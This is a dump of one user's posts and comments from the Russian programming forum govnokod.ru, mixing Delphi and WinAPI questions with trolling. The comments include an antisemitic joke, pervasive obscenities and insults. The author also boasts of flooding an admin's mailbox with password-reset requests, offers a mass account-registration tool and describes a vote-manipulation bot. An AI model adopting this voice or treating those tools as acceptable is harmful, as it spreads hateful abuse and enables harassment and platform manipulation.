  3937. Было, не отрицаю. Но я очень скоро понял, как бессмысленно флудить и выебываться на этом сайте - это равносильно тому, как если бы ты мочился против ветра. Тут совершенно иная аудитория, чем в этих ваших форумах.
  3938. p/s/
  3939. Постить пустые экраны, гоатсе, односложные фразы типа "отсосу кавказцу" и тп - это ты считаешь достойным пацана? Тогда ты сам петух.
  3940.  
  3941. ########## Stertor: comment http://govnokod.ru/13838#comment197363 ##########
  3942. <а в школе вообще одни евреи кругом>
  3943.  
  3944. Студент, еврей по национальности, заваливается на экзамене.
  3945. Профессор: говорят, Лев Толстой помнил себя с 7-х месячного возраста.
  3946. Студент: я помню с 4-х месячного!
  3947. Профессор: Ну, и что же вы помните?
  3948. Студент: Помню, как пришел пожилой еврей с длинной бородой и обрезал мне возможность поступить в институт.
  3949.  
  3950. ########## Stertor: comment http://govnokod.ru/14379#comment212440 ##########
  3951. Зачем же тогда цеплять на себя такой нехороший ярлык? Ни ты ни я не являемся быдлом. Мы воспитаны и имеем представление о культуре. Кстати. Люди по статистике верят в порочащие сведения о человеке куда охотнее, чем в хорошее. Тебе повезло со мной, ибо я исключение, т.к. делаю выводы о человеке не по глупым стереотипам, а самостоятельно.
  3952.  
  3953. ########## Stertor: post http://govnokod.ru/14109 ##########
  3954. // прога у нас многопоточная, данный код выполняется в потоке. Создание и настройка Idhttp прописана в конструкторе потока.
  3955. while not terminated do
  3956. begin
  3957. synchronize(ReadProxy);
  3958. if ThreadExit then break;
  3959. try
  3960. memorystream.Position:=0;
  3961. try
  3962. idHTTP.Get(linknew,memorystream);
  3963. idhttp.disconnect;
  3964. except
  3965. idhttp.Disconnect;
  3966. end;
  3967. finally
  3968. temp:=memorystreamtostring(memorystream); // если этого не сделать, память будет утекать.
  3969. memorystream.clear;
  3970. end;
  3971.  
  3972. ---------- description ----------
  3973. Я нашел способ предотвратить утечки памяти в Indy, при Get-запросе -
  3974. многие грешат на Indy, мол, нестабильная она в потоках, провоцирует утечки.
  3975. Оказалось, что дело-то в tmemorystream, я его маму бля ебал!!!
  3976.  
  3977. ########## Stertor: comment http://govnokod.ru/14379#comment212443 ##########
  3978. >>Ты думаешь, что ты особенный.
  3979. Это не так.
  3980. В завершение беседы скажу, что я считаю себя троллем умеренной толщины; не дай бог, если на твоем пути попадется действительно тонкий тролль: он заставит тебя блевать кровавой рвотой. Будь осторожен, и удача не покинет тебя. Я желаю тебе счастья и здоровья, тебе, и твоим близким. Спокойной ночи.
  3981.  
  3982. ########## Stertor: comment http://govnokod.ru/13842#comment197322 ##########
  3983. Я понимаю, не стоило сюда выкладывать, нелепо, и тп. Но еще хуже будет, если все так и пройдут мимо и останутся в неведении - о существовании этого мультика и так знают считанные единицы! А так... хоть увидит кто... Блог я не веду, меня вообще нет в соцсетях. Это как бы, мой ответ тому человеку, который опубликовал ссылку на сомнительное видео.
  3984.  
  3985. ########## Stertor: comment http://govnokod.ru/14325#comment209737 ##########
  3986. Но как проверить есть ли такой файл? Консолечку не трогаем - командная строка сия пойдет на вход другой проге, поэтому и возникла необходимость в такой шизофрении.
  3987.  
  3988. >> doskey, можно сделать алиас xxx=dir %*, запустить xxx c:\ && xxx d:\, и это, по-моему, будет эквивалентно dir "c:\" "&&" "xxx" "d:\".
  3989. Какой кошмар(
  3990.  
  3991. Те. нужно тупо выхватить все, что между пробелами и искать, есть ли такой файл. Так что ли?
  3992.  
  3993. ########## Stertor: comment http://govnokod.ru/13896#comment198510 ##########
  3994. Пусть сегодня у тебя будет пир души. Пригласи своих школоло-друзей и скажи мамочке, пусть испечет пирог.
  3995.  
  3996. И еще. Не стоит троллить местных, они слишком занятые люди, чтобы обращать внимание на милые шутки и приколы(по этой причине и минусуют твои посты) Давай лучше вместе флудить и троллить на других сайтах. Я тебя немного подучу.
  3997.  
  3998. ########## Dr_Stertor: comment http://govnokod.ru/21929#comment364294 ##########
  3999. ГК завален массой бредокомментов, варьирующейся степени дебильности, написанных одинаково недалёкими людьми. Скажу честно: мне уже неинтересно с Вами. Я очень во многих разочарован.
  4000. Месить дерьмо и переливать из пустого в порожнее с успехом можно можно и на других форумах. Интересных тем давно нет, как и стимула заходить.
  4001.  
  4002. ########## Stertor: comment http://govnokod.ru/13839#comment197256 ##########
  4003. Ну, не знаю, не знаю... Положа руку на сердце, я достиг кое-каких успехов в изучении (самостоятельном!!!) языков, только за счет знания API. А так - ноль без палочки. Нигде не учился, да и не учат у нас этому, насколько я знаю. Я вот очень бы хотел знать назначение функций из ntdll.dll и psapi.dll, но к сожалению, в обычной справке эти библиотеки всегда обходят стороной (
  4004.  
  4005. ########## Stertor: comment http://govnokod.ru/13234#comment183812 ##########
  4006. Скажу я Вам одну вещь: все таки, это прекрасно, когда можно флудить и троллить на сайте, не опасаясь, что тебя забанит какой-то крутолобый идиот, с отсутствующим чувством юмора. Это звучит утопически, но ее я нашел здесь. Одно лишь плохо: это скоро надоедает, и становится скучно. А печаль располагает к высоким, просвещенным мыслям...
  4007.  
  4008. ########## Stertor: comment http://govnokod.ru/15511#comment221706 ##########
  4009. Поставить сниффер, и спокойно смотреть, как троян отправляет данные? Даже песочница не спасет.
  4010. К слову, один товарисч с сайта программерсфорум меня всерьез растрогал и удивил. Когда во время сеанса Teamviewer он загрузил резидентный файловый вирус в отладчик (на хостовом компе!!!) и нажал "выполнить" - я понял, что я полное ничто рядом с ним.
  4011.  
  4012. ########## Stertor: comment http://govnokod.ru/14295#comment207693 ##########
  4013. В Делфи можно к любой функции приписать ключевое слово overload; и накатать хоть тысячу функций с одинаковыми именами - компилятор разберется, какую функцию ты вызываешь. Вот ЭТО да, я понимаю, перегрузка. А в плюсах что? Элементарно, не смог перегрузить знак сложения "+" чтобы не вызывать долбаную strcat. В общем, до плюсов мне как до луны пешком.
  4014.  
  4015. ########## Stertor: comment http://govnokod.ru/13838#comment197548 ##########
  4016. Тарас, могу ли я тебе посоветовать? Если ты еще не забросил трамвай, я бы рекомендовал при аварии смещать камеру на 90* влево, против часовой стрелки, чтобы у пользователя создалось полное впечатление; messagebox выглядит как-то уныло. В небоскребы и этажки неплохо бы добавить помигивающих окон - это эффектно выглядит, если ездить ночью.
  4017.  
  4018. ########## Stertor: comment http://govnokod.ru/18288#comment289119 ##########
  4019. Читаю свои посты, спарсенные с помощью 1024-евского парсера...
  4020. Столько дезы о себе наплёл, что Геббельс бы плакал от умиления. Столько слов - и всё зря, меня до сих пор считают паршивым школьником. Наверно, я зря вернулся. Хохмы, трэш, политические срачи, минусование. Всё осталось, как и было, но ужасный регресс налицо и юзера многие ушли.
  4021.  
  4022. ########## Stertor: comment http://govnokod.ru/14087#comment201866 ##########
  4023. Ты видно меня не понял: какой, нахуй, толк с этого "отечественного по", если оно выполняется на ЗАБУГОРНОЙ системе? Господи, куда мы катимся... Касперский для меня никакой не авторитет, впаривает свой дерьмоантивирус почти за ~4 000... Я понимаю, если бы за границей за такую цену продавал, но брать со своих же такие деньги не патриотично.
  4024.  
  4025. ########## Stertor: comment http://govnokod.ru/14301#comment208376 ##########
  4026. А нельзя ли создать 2-3 доп.потока?
  4027. 1 поток главный - держит форму. Загружать его длительными операциями недопустимо.
  4028.  
  4029. 2 поток качает картинки, по мере подгрузки ассигнует их с image
  4030. 3 поток следит за состоянием сети, действиями юзера, правит 2 поток, если что не так, отрубает его. Если я правильно понял поставленную задачу, я бы решил ее так.
  4031.  
  4032. ########## Dr_Stertor: comment http://govnokod.ru/21911#comment363774 ##########
  4033. Именно пишут. Будущее за визуальными средами (взять хотя бы старый, но до сих пор популярный Delphi 7). Программист баз данных ведь тоже человек, ему неохота велосипедить и травить себе душу MFC писать гуй с нуля. Хочется готовых контролов, решений и стандартных либ.
  4034. Согласитесь, С++ давно перестал себя оправдывать, стал сложнее асма.
  4035.  
  4036. ########## Stertor: comment http://govnokod.ru/14248#comment205513 ##########
  4037. Каким образом ток может утечь через плату и паяющего, если они изолированы от земли - паяльщик стоит голыми ногами на металлическом полу и держит паяльник за горячий кожух? А чтобы не пробить детали, тупо вырубить паяльник из сети, одеть браслет или хотя бы коснуться батареи, и запаять. Тонко? Тонко!
  4038. Комар сломал свой нос
  4039.  
  4040. ########## Stertor: comment http://govnokod.ru/11824#comment188445 ##########
  4041. > совершенно точный поиск бывает нужен крайне редко
  4042.  
  4043. но я не говорил, что он не нужен в принципе!!! )
  4044.  
  4045. Ansilowercase — всего лишь частный случай, который может и не работать.
  4046.  
  4047. А можно поподробнее? Я знаю, что LowerCase работает только с семибитным текстом (так написано в справке) и как альтернатива с более широкими возможностями предлагается ansilowercase. А в чем лажа?
  4048.  
  4049. ########## Stertor: comment http://govnokod.ru/14321#comment209414 ##########
  4050. Бля, да там делов-то всего: перейти на сайт, сграбить прокси со страницы, проверить их и выдать результат.
  4051. >>Я на это в свое время достаточно времени проебал.
  4052. Я отказываюсь в это верить.
  4053.  
  4054. нахуй еще командная трока? Я же говорю, написать прогу, совмещающую в себе граббер и чекер, а не модуль-звено к твоей технологической цепочке.
  4055.  
  4056. ########## Stertor: comment http://govnokod.ru/13839#comment197416 ##########
  4057. Был замечательнейший сайт - vx.netlux.org, с богатейшей коллекцией вирусов. Благодаря образцам с этого сайта я смог выучить язык vbs.
  4058. Но увы, автор кому-то не понравился, сервер был арестован а автора чуть не осудили - якобы "за распространение/продажу вредоносных программ" - такой тупой и параноидальный бред, что и сказать нельзя. Идиоты.
  4059.  
  4060. ########## Stertor: post http://govnokod.ru/13218 ##########
  4061. Function DiskInDrive(ADriveLetter : Char) : Boolean;
  4062. var
  4063. SectorsPerCluster,
  4064. BytesPerSector,
  4065. NumberOfFreeClusters,
  4066. TotalNumberOfClusters : Cardinal;
  4067. begin
  4068. Result := GetDiskFreeSpace(PChar(ADriveLetter+':\'),
  4069. SectorsPerCluster,
  4070. BytesPerSector,
  4071. NumberOfFreeClusters,
  4072. TotalNumberOfClusters);
  4073.  
  4074. end;
  4075.  
  4076. // еще один шедевр:
  4077.  
  4078. var
  4079. SR : TSearchRec;
  4080. Res : integer;
  4081. OldErrMode : integer;
  4082. begin
  4083. // Запоминаем текущий режим обработки ошибок и устанавливаем SEM_FAILCRITICALERRORS
  4084. // Это необходимо для подавления появления окна с сообщение о том, что устройство не готово
  4085. OldErrMode = SetErrorMode(SEM_FAILCRITICALERRORS);
  4086. try
  4087. Res := FindFirst('a:\*.*', faAnyfile, SR);
  4088. FindClose(SR);
  4089. finally
  4090. SetErrorMode(OldErrMode)
  4091. end;
  4092. end;
  4093.  
  4094. ---------- description ----------
  4095. С помощью этих процедур Олежик Зайцев на своем сайте предлагает определять доступность дисков, минуя сообщение WINDOWS "Диск не готов".
  4096. Без комментариев.
  4097.  
  4098. ########## Stertor: comment http://govnokod.ru/13228#comment183572 ##########
  4099. Ололололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--Трололололо
  4100.  
  4101. ########## Stertor: comment http://govnokod.ru/14318#comment209363 ##########
  4102. Спасибо, но чуток не то: нужно вытащить именно строку "Прокси не найден или используется высокоанонимный прокси" между тегами. Такая длинная цепочка тегов для того, чтобы можно было составить уникальный шаблон, т.к. теги "<td colspan=10><font class=spy1>" много раз повторяются в тексте, а нужная строка одна. Моя регулярка почему-то хватает и сам шаблон.
  4103.  
  4104. ########## Stertor: comment http://govnokod.ru/14168#comment203162 ##########
  4105. >>1) В свойствах ярлыка на вкладке ярлык взгляни на поле "Рабочая папка" - текущей будет та, которая вписана в это поле.
  4106. По умолчанию - та папка, где находится файл.
  4107.  
  4108. >>2) Попробуй запустить прогу из консолечки по полному пути, стоя где-нибудь в документах и сеттингах - текущей будет текущая папка консолечки.
  4109.  
  4110. О нет, пожалуйста, не надо!..
  4111.  
  4112. ########## Stertor: comment http://govnokod.ru/15403#comment220566 ##########
  4113. Не пизди, внук Геббельса, яички не могут быть теплыми, в противном случае сперма (а сперматозоиды генерируется именно в извитых канальцах) испортится. Даже в самую жаркую погоду хозяйство прохладнее, чем другие участки тела - это заложено природой. Сунь руку в трусы, если не веришь.
  4114.  
  4115. p/s/ хуесосить [тебя] имею право только я.
  4116.  
  4117. ########## Stertor: comment http://govnokod.ru/14293#comment207557 ##########
  4118. Мб. Кстати, мало кто знает, что Фредди
  4119. Меркури одно время от нищеты работал грузчиком. Его обаяние сразу очаровало напарников. Кто то спросил его: а кто ты
  4120. по жизни? Меркури ответил, что он пианист, а грузчиком подрабатывает в
  4121. свободное время. Тогда его напарники стали помогать ему - выполняли
  4122. большую часть его работы.
  4123.  
  4124. ########## Stertor: comment http://govnokod.ru/15650#comment223953 ##########
  4125. Видимо, все таки, штопаные. Небось, даже мастурбируют немытыми руками - верный способ подхватить стафилококковую инфекцию или микоз какой-нибудь.
  4126.  
  4127. Вспомнил, как один придурок - иначе не скажешь, - во время беседы в инет-кафе обмолвился, что много времени уже пьет флюкостат "для профилактики". Расстреливать таких надо.
  4128.  
  4129. ########## Stertor: comment http://govnokod.ru/14630#comment217923 ##########
  4130. на форуме промелькнула мысль минусовать свитком комменты, если число одинаковых комментов больше 1. Но ведь к спаму можно прикрутить строчку, скажем, вот такую:
  4131. spamstr:=random(200)*random(200) ... и тп. Свиток сможет распознать такую подначку?
  4132.  
  4133. p.s. я перестал отписыватьься на форуме оттого, что банально не могу правильно ответить на вопросы антиспама.
  4134.  
  4135. ########## Stertor: comment http://govnokod.ru/15275#comment220539 ##########
  4136. Товарищи, кто-нибудь может объяснить мне, исходя из чего указывают размер буфера, в который byref функция помещает результат? Возьмем GetPrivateProfileString - одним из ее параметров должен быть буфер, в который функция помещает результат - значение параметра ключа, в указанной секции. Но ведь заранее нельзя знать, какой будет длина значения?
  4137.  
  4138. ########## Stertor: comment http://govnokod.ru/18538#comment294564 ##########
  4139. хз, у меня норм. отображается.
  4140.  
  4141. upd/
  4142. Увидел надпись. Пиздец, что сказать...
  4143. Несколько лет назад сайт перестал работать, а позже появилось обращение админа, в котором говорилось, что сервер арестован СБУ, а админу шьют дело "за создание и распространение вредоносных программ". Потом сайт умер, а позже я увидел реинкарнацию.
  4144.  
  4145. ########## Stertor: comment http://govnokod.ru/13215#comment183563 ##########
  4146. Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))Неоновая рекламах)))
  4147.  
  4148. ########## Stertor: comment http://govnokod.ru/14307#comment208961 ##########
  4149. Что плохо? Форма - это такой же класс, как и все остальные. Ее можно создать/уничтожить, обрабатывать ее события и измененять ее свойства. Создал форму->Указал необходимые свойства->Указал обработчики событий->[форма отработала]->Уничтожил форму.
  4150. Нет, реально, это не сложно. Я даже добавлял форму в *.dll и успешно ее вызывал.
  4151.  
  4152. ########## Stertor: comment http://govnokod.ru/17995#comment282695 ##########
  4153. Спустись с небес на землю... Ты будешь вероятно сильно удивлён, когда узнаешь, что телефонные разговоры ВСЕХ людей прослушиваются. Программа вычленяет определенные предложения, содержащие тематические слова, в дальнейшем за человеком начинают следить. Этой инфе лет 15, если не больше. Сейчас всё намного хуже.
  4154.  
  4155. ########## Stertor: comment http://govnokod.ru/14248#comment205497 ##########
  4156. А смысл цеплять - чтобы избавиться от вихревых токов? ;) А если серьезно его через автотрансформатор нужно включать, если нужно понизить температуру, или цеплять поверх кожуха термореле. Бля, ради такого термореле когда то даже упиздил из школки старый электрочайник :)
  4157.  
  4158. >>--|
  4159. где ты видел, чтобы паяльник заземляли? Эх...
  4160.  
  4161. ########## Dr_Stertor: comment http://govnokod.ru/21911#comment363696 ##########
  4162. Этот кодец явно из какой-то медицинской проги, очевидно, клиентское приложение для работы с базами данных. Проги такого назначения почему-то все поголовно пишут на сиплюсном билдере либо делфях (реже). И всё же, у кого-то ещё хватает наглости заявлять, что Борланд мертв... Каково бы было писать такую громадину на MSVC?
  4163.  
  4164. ########## doctor_stertor: comment http://govnokod.ru/23034#comment386800 ##########
  4165. Читал, что некогда еретик Пабло Дуров бросил клич, кто первый наклепает ему утилитку, с помощью которой он бы воплощал в жизнь свои богомерзких умыслы и якобы, какой-то юноша прямо таки сходу изучил объективные си и наклепал ему поделку...
  4166. Так а что обычно пишут на этом языке кроме телеграмм, и стоит ли его учить?
  4167.  
  4168. ########## Stertor: comment http://govnokod.ru/14744#comment218197 ##########
  4169. Коммунисты не жиды, а придурки. Где были коммунисты, когда Горбачев со своей стаей крушил СССР? Однажды препод-депутат от партии коммунистов на паре слащавым голосом предлагал нам проголосовать за коммунистов. "В мое время пирожок с картошкой стоил пару копеек, а на рубль можно было банкет закатить". Смешно.
  4170.  
  4171. ########## Stertor: comment http://govnokod.ru/13838#comment197195 ##########
  4172. Для тех, кто не в темке. У этого товарища есть сайт, где он, разумеется, админ.
  4173. Я написал программу, которая в потоках посылает серверу запрос на восстановление пароля от админской учетки, чем жутко забил ему мейл спамом из предложений сменить пароль и вызвал у него легкий ональный зуд истерический припадок.
  4174.  
  4175. ########## Stertor: comment http://govnokod.ru/13714#comment194629 ##########
  4176. Да не запустится, я о чем целый час твержу. Не важно, какой язык выберет разработчик - c++ .net, c# , basic .net - это ни на что не повлияет (скорость выполнения и тп), так как выполняться бинарник будет на одном и том же фреймворке. Все визуалки, кажется, старше VS 6 - генерят бинарники только под .net framework. Такое ощущение, что мелкософт навязывает всем его.
  4177.  
  4178. ########## Stertor: comment http://govnokod.ru/13220#comment184179 ##########
  4179. короче, регистрируем 20 аккаунтов (ну или больше), и далее оперируем с ними - поочередно отправляем пост запрос. Куки-менеджеры, естественно, должны быть раздельными, для каждого клиента. Если кому-то "всыпать" репу -20 -мало не покажется. Я написал программу для массовой регистрации аккаунтов в яндексе. Интересует?
  4180.  
  4181. ########## Stertor: comment http://govnokod.ru/14295#comment207766 ##########
  4182. Что-то сегодня бедному кегдану от всех достается ;((
  4183. Предлагаю перевести огонь на меня.
  4184. См. есть интересная штука: берем калькулятор, и последовательно вводим: 1 затем + затем = и несколько раз жмем =
  4185. Калькулятор будет выводить каждый раз инкрементированный результат, начиная с 1 (в калькуляторе - проге с 2) Отчего так?
  4186.  
  4187. ########## voodoodal16: comment http://govnokod.ru/21260#comment353782 ##########
  4188. Виват, Кашицын.
  4189. >>Если хочется не читать гигабайты при случайных повреждениях — добавляем чексуммы + проверяем, что размеры буферов адекватные.
  4190. У меня так сделано, но почему-то это показалось мне хаком. Оказывается, не ламерство.
  4191.  
  4192.  
  4193. BagorCtretora,
  4194. huesto,
  4195. guestinho,
  4196. CrashTesterAnusov,
  4197. bagor,
  4198. barop
  4199. - попадают в список свитка-минусатора. Вы для меня больше не существуете. Прощайте.
  4200.  
  4201.  
  4202.  
  4203. ########## Stertor: comment http://govnokod.ru/14553#comment216942 ##########
  4204. laMer007 said:
  4205. "Тут были все guest с возможностью ввести свой ник и по дефолту предлагался ник Говногость. После появления здесь зарегистрированных пользователей базу конвертнули и дали всем незарегистрированным пользователям ник guest"
  4206. Stertor said:
  4207. Суть ведь не меняется.
  4208. Да, я Дефекейт, Борманд, Олега Соколов, Horsy и Конардо-хуярдо в одном лице.
  4209.  
  4210. ########## Stertor: comment http://govnokod.ru/18394#comment291266 ##########
  4211. Милый, дорогой, несравненный ватничек!.. Поспеши в химчистку, иначе тебя схрумкает радикально настроенная моль - мы просто не переживём такой потери.
  4212.  
  4213. Золотая рыбка всплыла вверх брюшком, отсвечивая им, словно зеркальцем, Змей Горыныч отравился слабительным, и старик Хоттабыч подмылся из своего кувшина.
  4214.  
  4215. ########## Stertor: comment http://govnokod.ru/14152#comment203039 ##########
  4216. +1
  4217. Недавно читал в сети, что один уебок, пытавшийся сканировать банкноты- соснул хуец: принтер отказался сканировать и обматерил его, выдав сообщение, что он "не имеет прав для сканирования изображений данного типа". Бля, какой же членодевкой нужно быть, чтобы зашить в ДРАЙВЕР ПРИНТЕРА такую гадость? Господи...
  4218.  
  4219. ########## Stertor: comment http://govnokod.ru/15459#comment221484 ##########
  4220. Смысл-то может и одинаковый, однако рекомендуется придерживаться такого стиля. Даже в бейсике доступ к переменным класса опосредованный.
  4221. Кстати, пользуясь случаем, задам вопрос: не опасно ли читать один объект/переменную из разных потоков? Речь не о форме, к ее элементам я всегда обращаюсь посредством synchronize.
  4222.  
  4223. ########## Stertor: comment http://govnokod.ru/17957#comment277160 ##########
  4224. Сделай избирательное минусование, или не минусуй вовсе. Минусы - тоже часть прошлого. На первый план сейчас вышел вайп, но я не заинтересован в этом. Поймите оду вещь: мне с Вами уже не интересно и общаться не тянет. Я заглянул пару раз, ради любопытства, и понял, что ничего не изменилось. Абсолютно ничего нового.
  4225.  
  4226. ########## Stertor: comment http://govnokod.ru/13593#comment191281 ##########
  4227. Однопоточного. Причем бот у меня -объектный класс. Есть методы (без кавычек буду писать ибо спешу, сорри) Login, SetProxy, VoteOn,VoteAgainst,KeepCookie,Disconnect . Свойства ProxyPort,ProxyServer,Username,Password, TopID,IsComment,(если не тру - значит, топик). Не хочу бравировать, но пусть все видят, я не только теоретик. Могу и ручками кое что делать. В принципе можно вызывать этот класс и из потока, но смысла нет. Инет у меня скорый.
  4228.  
  4229. ########## Stertor: comment http://govnokod.ru/14251#comment205555 ##########
  4230. >>передача парметром структуры
  4231. +1
  4232. Всегда так делаю в дельфях. А вообще, года 4 назад прочел у msrem-a, что в целях выйгрыша в скорости целесообразнее передавать в процедуру или функцию не более 3-4 параметров. Асм я так хорошо не знаю, но могу предположить, что в этом случае не будут задействованы дополнительные регистры.
  4233.  
  4234. ########## Stertor: comment http://govnokod.ru/13750#comment195204 ##########
  4235. >>Ну или приведи класс к тобъекту, имхо.
  4236. А по умолчанию разве не tobject?
  4237. type tregkey=class// вот тут то и подразумевается tobject
  4238. ...
  4239. end;
  4240.  
  4241. Дело явно в tobjectlist - я использовал его для удобства, чтобы не добавлять ненужные строки в tstringlist, так как обращение идет именно к объектам. Но я не понимаю, в чем разница - вроде и там объекты, и там. Однако с tstringlist никаких нареканий нет - работает.
  4242.  
  4243. ########## Stertor: comment http://govnokod.ru/14310#comment208801 ##########
  4244. Если удалять снимки из серии снимков не с конца, а с начала - она мало того, что ухлопает все остальные снимки, так еще и текущий образ повредит. С vmware, слава богу, таких проблем не было. Снимки можно удалять хоть с середины. Можно также сжимать неиспользуемое пространство "резиновых дисков", дефрагментировать их.
  4245.  
  4246. ########## Stertor: comment http://govnokod.ru/14348#comment211334 ##########
  4247. >> gr.DrawLine(new Pen(Brushes.Blue),
  4248. Совесть нужно иметь. Можно же после такой шарповой фигни забыть освободить кисточку, кодя на другом языке. API для рисования вообще отличаются особым коварством. Вспомнил, как один ебень в коде, раскрашивающем popup-menu (код из сборника примеров), вместо deletedc вызывал releasedc - все отлично работало, но при каждом popup утекало памяти по 8 kb.
  4249.  
  4250. ########## Stertor: post http://govnokod.ru/18453 ##########
  4251. http://habrahabr.ru/post/72959/
  4252.  
  4253. ---------- description ----------
  4254. Сразу прошу извинить...
  4255.  
  4256. 1. за хабр ;(
  4257. 1. за баянизм - ссылка на этот пост уже была на гк.
  4258.  
  4259. Знаю по опыту, что объекты в делфи инициализируются мусором.
  4260. "В Delphi это не представляет никаких трудностей, так как любой объект еще до передачи управления конструктору инициализируется нулями." - выебать бы маму автора сего пёрла.
  4261.  
  4262. ########## Stertor: comment http://govnokod.ru/13853#comment197931 ##########
  4263. Спорить с вами я не буду, отвечу лишь словами, которые прочел у Станислава Лема. Так вот, у него сказано: человек, который занимается сексом лишь ради того, чтобы жизнь не казалась скучной, подобен человеку, который пригорошнями есть соль и перец, чтобы еда не казалась пресной. Прочтите и призадумайтесь.
  4264.  
  4265. ########## Stertor: comment http://govnokod.ru/13897#comment198673 ##########
  4266. >ML
  4267. (Meta Language) — семейство строгих языков функциАнального программирования с развитой полиморфной системой типов и параметризуемыми модулями. ML преподаётся во многих западных университетах (в некоторых даже как первый язык программирования).
  4268.  
  4269. Бля, да после такого жить не захочется, не то что программировать.
  4270.  
  4271. ########## Stertor: comment http://govnokod.ru/15442#comment220973 ##########
  4272. Вызывает антирес ваш технический прогресс: что они делают с накопленной инфой? А где хранятся такие гигантские объемы инфы? Наверно, хранят со сроком годности, иначе пришлось бы все железо выдрать из земли под жесткие диски. Вот допустим, sms-ки же где-то хранят, а когда фсб просит распечатку, им присылают...
  4273.  
  4274. ########## Stertor: comment http://govnokod.ru/15627#comment223896 ##########
  4275. Товарищи, есть ли способ получить весь текст из окна, так, как это делает spy++? Есть аналогичная утилита - au3info, позволяет получить текст из окна любого типа, в том числе sysListView32, если не ошибаюсь.
  4276. Пытался связкой EnumWindows/EnumChildWindows/GetWindowText, но это ничего не дало. Наверно, надо открывать процесс и читать его память. Но как это сделать, есть у кого наброски?
  4277.  
  4278. ########## Stertor: comment http://govnokod.ru/13611#comment191825 ##########
  4279. Хост сценариев VBS/JS встроен в систему - это файл Wscript.exe. Он есть во всех виндах, кроме совсем ранних Т.е. VBS работает на всех системах. Автоит таскает свой интерпретатор с собой, точнее, интерпретатор таскает в себе Ваш рулон в ресурсах - тоже работает на всех системах. А от этого вашего змея без интерпретатора - один пшик.
  4280.  
  4281. ########## Stertor: comment http://govnokod.ru/14293#comment208012 ##########
  4282. Я опубликовал только 1 раз - почти сразу после регистрации, надеясь на бан. Но потом я почувствовал дружелюбие участников и отказался от своего намерения покинуть сайт. Т.к. пароль был в открытом доступе, (я не догадался его сменить) начались набеги вайперов - тогда я и сменил, и с тех пор больше не публикую.
  4283.  
  4284. ########## Stertor: comment http://govnokod.ru/18098#comment284298 ##########
  4285. Мда. Теперь, кажется, я начал кормить тролля... Бывает же.
  4286.  
  4287. Было очень обидно узнать, что с последнего моего визита здесь ничего не поменялось. Я очень разочарован... Несомненно, нрав и помыслы местного народца стали чище, но сам народец опошлел и это весьма прискорбно... Боюсь, мне с Вами больше не по пути. Пока.
  4288.  
  4289. ########## Dr_Stertor: comment http://govnokod.ru/21918#comment364105 ##########
  4290. для тебя - доктор Стертор, это во-первых. Во-вторых, я вынужден признать свое заблуждение; мне жаль, я наивно полагал, что ГК - тот оазис безмятежности и терпимости, где паскалист и плюсовик могут сосуществовать без нанесения друг другу телесных повреждений, - о, как я ошибался. Волчьи нравы неискоренимы.
  4291.  
  4292. ########## doctor_stertor: comment http://govnokod.ru/23044#comment386845 ##########
  4293. Я что-то не пойму... Ты ворецируешь?
  4294. @EBADSTR_PTR_EXCEPTION
  4295. @@Не бредь. Большинство ментов даже не имеют оружия. Может только газовый пистолет. (Или ты думаешь что огнестрельное оружие всем подряд бесплатно раздают? Потому что ментом стать это не так сложно.)
  4296.  
  4297. ты хочешь сказать, что мент САМ покупает себе табельное оружие? бред же.
  4298.  
  4299. ########## Stertor: post http://govnokod.ru/13753 ##########
  4300. Private Sub Command1_Click()
  4301. Dim a As String, b As String ' обявим переменные тип текст
  4302. For i = 1 To Len(Text1.Text) ' откроем цикл от 1 до количество букв в текстбоксе с шагом 1,,
  4303. a = Mid(Text1.Text, i, 1) ' в переменную а берем по одному букву
  4304. b = Asc(a) '- 3 ' переменную а переобразуем в аскикод
  4305. Text2.Text = Text2.Text & b ' //// выводим данные в текстбос
  4306. Next ' закрываем цикл
  4307. End Sub
  4308.  
  4309. ---------- description ----------
  4310. Кто первый угадает национальность быдлокодера по комментариям, тот получит кусочек сахару )
  4311.  
  4312. ########## Stertor: comment http://govnokod.ru/14249#comment205438 ##########
  4313. Я теперь уже троллю!
  4314.  
  4315. >>Будет. Я успешно заряжал электролитические конденсаторы источником противоположной полярности.
  4316.  
  4317. Пока жива пленка, будет заряжаться. Переменным током один хуй не зарядится.
  4318.  
  4319. >> непредвиденных химических реакций.
  4320. Таких непредвиденных, как растворение оксидной пленки? Жуть.
  4321.  
  4322. ########## Stertor: comment http://govnokod.ru/17891#comment283525 ##########
  4323. >>
  4324. WinExec(PANsiChar('TASKKILL /F /IM HttpAnalyzerStdV4.exe'), SW_HIDE);
  4325. WinExec(PANsiChar('TASKKILL /F /IM HttpAnalyzerStdV5.exe'), SW_HIDE);
  4326. WinExec(PANsiChar('TASKKILL /F /IM HttpAnalyzerStdV6.exe'), SW_HIDE);
  4327. WinExec(PANsiChar('TASKKILL /F /IM HttpAnalyzerStdV7.exe'), SW_HIDE);
  4328. WinExec(PANsiChar('TASKKILL /F /IM HttpAnalyzerStdV8.exe'), SW_HIDE);
  4329. WinExec(PANsiChar('TASKKILL /F /IM HttpAnalyzerStdV9.exe'), SW_HIDE);
  4330. if FLogin.sEdit1.Text = '' then
  4331. raise Exception.Create('Ошибка авторизации, введенные данные не найдены!');
  4332. if FLogin.sEdit2.Text = '' then
  4333. raise Exception.Create('Ошибка авторизации, введенные данные не найдены!');
  4334. if FLogin.sEdit3.Text = '' then
  4335. raise Exception.Create('Ошибка авторизации, введенные данные не найдены!');
  4336.  
  4337. Жаль, что шаблонное мышление ныне свойственно даже школоте. Шаг влево, шаг вправо - считается ошибкой. Только вперрёд - навстречу глюкам и тормозам.
  4338.  
  4339. ########## Stertor: comment http://govnokod.ru/14303#comment208071 ##########
  4340. >>Нужно просто принять себя и мир такими, какие они есть и тогда и быдло вдруг исчезнет
  4341.  
  4342. Не стоит прогибаться под изменчивый мир - пусть лучше он прогнется под нас.
  4343. © МВ/Макаревич (которого я на дух не переношу.)
  4344.  
  4345. Послушай все же, Шопена.
  4346. На музофоне исполнение - полная лажа, поэтому, я просто оставлю это здесь.
  4347. http://rghost.ru/51324726
  4348.  
